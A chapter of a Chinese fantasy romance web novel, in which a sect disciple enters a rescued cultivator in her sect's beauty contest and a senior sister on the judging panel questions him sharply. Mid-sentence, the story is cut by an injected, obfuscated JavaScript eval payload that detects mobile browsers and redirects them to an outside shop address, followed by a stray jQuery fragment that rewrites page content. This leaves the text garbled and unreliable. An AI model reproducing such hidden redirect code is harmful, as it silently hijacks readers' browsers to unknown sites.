赢个屁。
明怀川倒吸了口凉气。
春和景明,草色青翠,阳光被树枝叶片切割成大小不一的碎金。外门广场的大选展台已然搭好,沉郁木色搭配透明的纱和嫩粉的花枝,在正对着的数百座椅前静默伫立。
而不远处等候的男女各色选手,个个打扮得花枝招展,曳地长裙或是玉冠长发,容姿秀丽,姿态端正。
怎么看都不像是来比武打架的。
雁音暂且陪在身旁,明怀川冷静地问:“这就是你们合欢宗的宗门大选?”
“对呀。”
明怀川继续问:“你们大选到底选什么?”
雁音正色道:“选美人。”
这很明显啊,球哥好奇怪,她怎么可能让一个受伤之人前去比斗呢?
再说了,选美怎么不算一种大选。
步入修行之途,人会经历洗经伐髓,从内而外焕发新的生机,这时因为后天不足而导致的缺陷就会消散,露出人原本的面貌。
即使修道后人的容貌会一定程度得到修正,但那都是修成金丹后的事了,对于筑基期修士而言,美就是美,纵使人的审美各异,但大体方向不会变化。
我们合欢宗就是喜欢美人啊。
雁音无辜地看向明怀川。
多么合情合理。
但明怀川显然不这么觉得,好不容易端起的冷静自持的君子架子在听见回答那刻差点破功,他看了看雁音,吸了口气,又看了看马上要开始大选的舞台,再吸了口气。
果然,之前不祥的预感成真了。
前天夜里,自他答应参加合欢宗宗门大选后,雁音就鬼鬼祟祟的,她交代明怀川要多多练习当初清明夜晚用的那套棍法,而后便一整天见不到人,美其名曰正在准备秘密武器。
棍法而已,只要不是用剑就行。
诸武皆通,百无禁忌,明怀川对此没有意见,他找了个没人的地方练了一天,深夜时分才捉到偷偷摸进他房间的雁音。
雁音怀里有个包裹。
“这是?”明怀川问。
雁音一脸神秘:“这就是我说的秘密武器。”
拆开粗布系成的结,细银闪闪,绸缎轻柔,衣袂飘飘,一件蓝灰色的衣裳流淌而出。
她说:“我亲手做的,你试试。”
“你还会做衣服呢。”明怀川嘀咕。
雁音:“大概算是。”
“什么叫大概?”
雁音不说话了。
该怎么回答呢,她喜欢做的是寿衣和娃衣,不是正常织布裁剪,所以她的模特都是用天花板库存零件临时拼凑的躯体。
常人会忌讳这个吗?她不确定,含糊地一笔带过:“球哥别问了,总之你快试试。”
衣料的细闪并不明显,只在对准月光时散发泠泠微光,整体裁剪利落又优雅,尽显劲瘦挺拔身姿。
但问题是。
明怀川深呼吸:“你这衣服是法器吗?”
雁音摇头:“不是。”
她一个全部积蓄都用来付房费的穷鬼哪有钱卖法器材料,雁音道:“就是凡人用的普通料子。”
那他就不理解了!
明怀川耳朵变得通红:“既然不是法器,那你这衣服为什么只有下半身啊!!”
“因为你上半身比较好看。”那日明怀川被师兄们追着跑时她是见过的,轮廓饱满线条深壑,雁音歪头,“好看的身材要展示出来,能加分。”
加什么分?加什么分!
现在想来大抵是那个时候明怀川意识到不对劲了,可雁音实在是个知错能改的好孩子,他说不愿意穿,雁音表示理解,自言自语说什么“的确书上说过不要太露用力过猛,要欲盖弥彰半遮半掩的才更加吸引人”。
她说得太小声,道歉的态度又十分诚恳,说同意为明怀川再换一套衣服,哪怕熬夜赶工通宵不睡也未尝不可。
说得明怀川都愧疚了。
于是强烈的愧疚淹没了那点微妙的不对劲,等到明怀川再次甚感不妙时已是第二天,天光大亮,晨鼓奏响,他与雁音并肩而立,共同望向不远处即将开场的合欢宗宗门大选现场。
明怀川:“所以,我现在这身衣服是什么情况?”
雁音充分吸收了昨日的经验,下半身没有变化,长裤挺阔,外围如水的衣襟行走间凸显腿笔直且长,比例极好,而上半身她加了一件无袖高襟紧身黑色长衫,衣料很薄,隐隐约约勾勒出肌肉的轮廓。
在她的强烈要求下,明怀川为自己梳了一个高马尾,再用雁音备用的红丝绦绑成结,丝绦尾部垂在耳后,尽显潇洒风流却又不失锐利锋芒。
好看。
雁音鼓掌,不愧是我熬通宵做出的秘密武器。
“穿这身舞棍一定宛若游龙,超棒的,”雁音晃晃明怀川下摆多余的飘带,不管他现在是紧张也好,羞耻也罢,都不得不面对生活的痛击,“球哥,今天你要是不参加,晚上你和善见大师就会被赶到荒郊野外,自生自灭了。”
“所以你一定会参加的,对吧?”
明怀川沉默一瞬,总觉得被坑了。
而且是被雁音无意识坑了。
但他说不出反驳的话,纵使生活有众多预测不到的深坑,人总是要往前看的,明怀川叹了口气:“行行,我会认真对待的,满意了吧?”
雁音比大拇指:“超满意。”
合欢宗宗门大比共分两轮,第一轮是走秀展示,从喊到名字那刻开始就算进入评选环节,叫到名字的选手从后台走至台前,回答一众评委的问题,再返回后台。
这个过程主要筛选出容貌、体态、谈吐都出众的参赛者,而后选择一定比例的人进入第二轮才艺展示,数量并不限制,而后按照第一轮评分顺序由低到高轮流表演,形式不限,综合第一轮分数决出整体排名。
流程并不复杂,一天就能比完。
巳时正,大选正式开始。
说实话宗门大比比起正规的比赛更像是合欢宗弟子用于取乐自己的娱乐活动,并不严肃。往日外门少见的合欢宗弟子齐刷刷坐满台前,人手一把瓜子,看见有好看的便鼓掌喝彩。
“这个好这个好。”
“笑一个吧!笑起来更好看。”
“啊,巧笑倩兮,美目盼兮。”*
往年雁音不是上课就是窝在家里写作业,既不当观众也不当评委没空参加,今年作为举荐人则自动失去了评委的资格。
为了钱包和新的作业她当然想赢,鬼鬼祟祟穿过人群跑到最前面,搬了个小板凳,坐在锦书和卿寒之间。
两位师姐是宗门大选的评委,年年如此。
卿寒扇不离手,见小师妹猫在自己身侧,摇扇笑道:“哟,小师妹,来吹枕边风啊?”
“嗯。”雁音点头,“规则没说不许。”
大选主持者是十二师兄,咋咋呼呼的性格很适合承担这份话多的工作,他开始呼叫选手和举荐人的姓名,或盛装或干练的修士流水般在台上来了又走。
卿寒同雁音咬耳朵:“哎呀可是师姐看不得你为了一个男人找我求情,我会忍不住给他使绊子的,怎么办?”
雁音立刻嘴角下撇眼睛无光,熟悉她的人都知道那是伤心的表情。
“师姐忍心看我作业写不完吗?”
“这么说来,”卿寒呵呵一笑,“师尊说得对啊,你肯定是连带灵力和我之前给你的合欢露一起,被那颗妖兽心脏吸干了吧。”
啊,心虚。
目光简直乱瞟,恰逢锦书此时嗯了一声,示意她们明怀川的登场。
好一个清秀俊逸的郎君!
明怀川从侧后方拾阶而上,缓缓走至舞台中央,他沉默不言,风度翩翩,一身盛装既凸显好身材又增加几分仙气,c俊俏容颜宛若明珠耀世,熠熠生辉。
而那些在雁音面前的羞涩和少年心性全都褪去了,他显得冷淡而又傲慢,年岁和心性的历练使他平添一份沉稳和锋利,即使站着不动,磅礴的气势也如青山一般摧压而来。
一阵静默后,台下爆发出雷鸣的欢呼,合欢宗的喜爱就是这么直白,更有甚者参与那天围堵明怀川的行动,嘻嘻哈哈地朝雁音做鬼脸。
雁音没搭理,看向台上。
“明怀川,对吧?”卿寒笑了下,那笑容莫名有了一丝冬日的寒意,“倒是不曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401537|200414||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听说过的名字,你说你是一介散修?”
他只略微颔首,落落大方:“某无名之辈,得而有幸能与诸位前辈同台竞技。”
“你的举荐人是雁音?”
“是。”明怀川惜字如金。
卿寒简单打量着他,语气还是和往日一般轻快:“容貌体魄都不错,看来音音平日的课听进去了,没随便找来个人应付交差。”
……事实就是随便应付的,雁音低下了头。
上台的选手多是散修和小门派的弟子,毕竟不算什么正经的比赛,大多是抱着能拿名次更好,拿不到名次拿参与奖也不错的心态参加的,选手本身水平参差不齐,明怀川的容貌和身材混入其中简直鹤立鸡群,无可挑剔的好。
然而卿寒似乎有意为难他,突然话风一转,虽是笑容,眼里却毫无温度:“听说你就是音音第一次下山的实践对象?”
没等明怀川回答,折扇一合。
唰!
“敢问道友家产几何,灵石有无,师承何处,洞府所在,修为天赋有甚优势?哎呀呀哎呀呀,人不能除了长相一无所有,你说对吧,明道友?”
明怀川:“……”
好刁钻的问题,绵里藏针。
答得果断有炫耀之意,答得支吾有轻慢的嫌疑,否认就坐实了他徒有表象,承认又难免陷入自证陷阱。
搬出明家也无用,先不说明家是隐世家族,明怀川无意透露,有穿越这重因素在,他的身份根本掰扯不清楚。
电光火石之间他摸了摸鼻子,目光下撇偏移三分,那完全是个下意识的动作,却不经意摧毁他冷漠强势的气质,平添些许真诚的少年气。
“咳……”声音也放轻了,明怀川道,“在下不才,身无长物,亦无师承,若有哪里做得不好,还望雁音姑娘,多多包涵。”
说完作了个揖。
雁音坐在台下,反应慢了片刻,朝台上:“唔,无妨。”
然后被扇柄敲了下头。
她听见师姐磨牙的轻声:“我在帮你敲打他,你怎的胳膊肘往外拐,还帮他说话。”
可是。
雁音默默地想,不帮他说话的话,她的钱包和作业又该何去何从呢?
但明怀川的作答没有结束,他被雁音所救,先不论心动与否,这份恩情是一定要还的。
“这位师兄,”他向十二师兄拱手,“还请为我准备纸笔。”
抛开明家藏书阁浩瀚藏书不提,明怀川自己在外游历多年也闯过秘境,获得过不少上古流传的孤本秘籍,他在脑海中回忆,去掉那些有境界灵力要求的、有争议的、或许有传人在世的,挑挑拣拣选择一本防御性质的招式秘籍,在纸张下笔唰唰默写口诀。
“这是我偶然得来的,以雁音姑娘的名义赠与贵宗,”只是一本筑基期可用的秘籍,既不过分招摇引来他人觊觎,也不显得他光有皮囊没有能力,他将纸张转交给卿寒,“一点心意,望贵宗收下。”
卿寒笑眯眯道:“一本秘籍,就能抵救你一命的恩情了吗?”
“当然不是。”
明怀川不卑不亢,可语气中有不容忽视的强硬:“但如何报恩,如何支付代价,那便是我与姑娘二人的事了。”
他不会当众许诺。
两人之间的私事何必摊在众人面前评说。就算面前这位师姐因此将他淘汰,明怀川也不会改变他的答案。
场下观众鼓掌的有,吹口哨的有,现在问答环节到此结束,明怀川沉默不言,现在倒是卿寒这边陷入僵局,从她面相上看不出对明怀川的回答是满意还是鄙夷,打分的笔迟迟未动。
雁音不动声色地把小板凳靠得离卿寒近了点。
像个背后灵。
“满分满分满分给满分吧求求你了师姐师姐师姐好不好要满分……”
逐渐在精神污染中迷失自我的卿寒:“……”
算了,反正答得也不差。
就看在过于臭屁的态度上扣两分吧。
沾满墨水的毛笔终于落在纸面,雁音挨个瞅了眼评委们的打分便抱着小板凳起身,偷偷摸摸地来再偷偷摸摸地走,只有游丝般的欢呼声遗留了下来。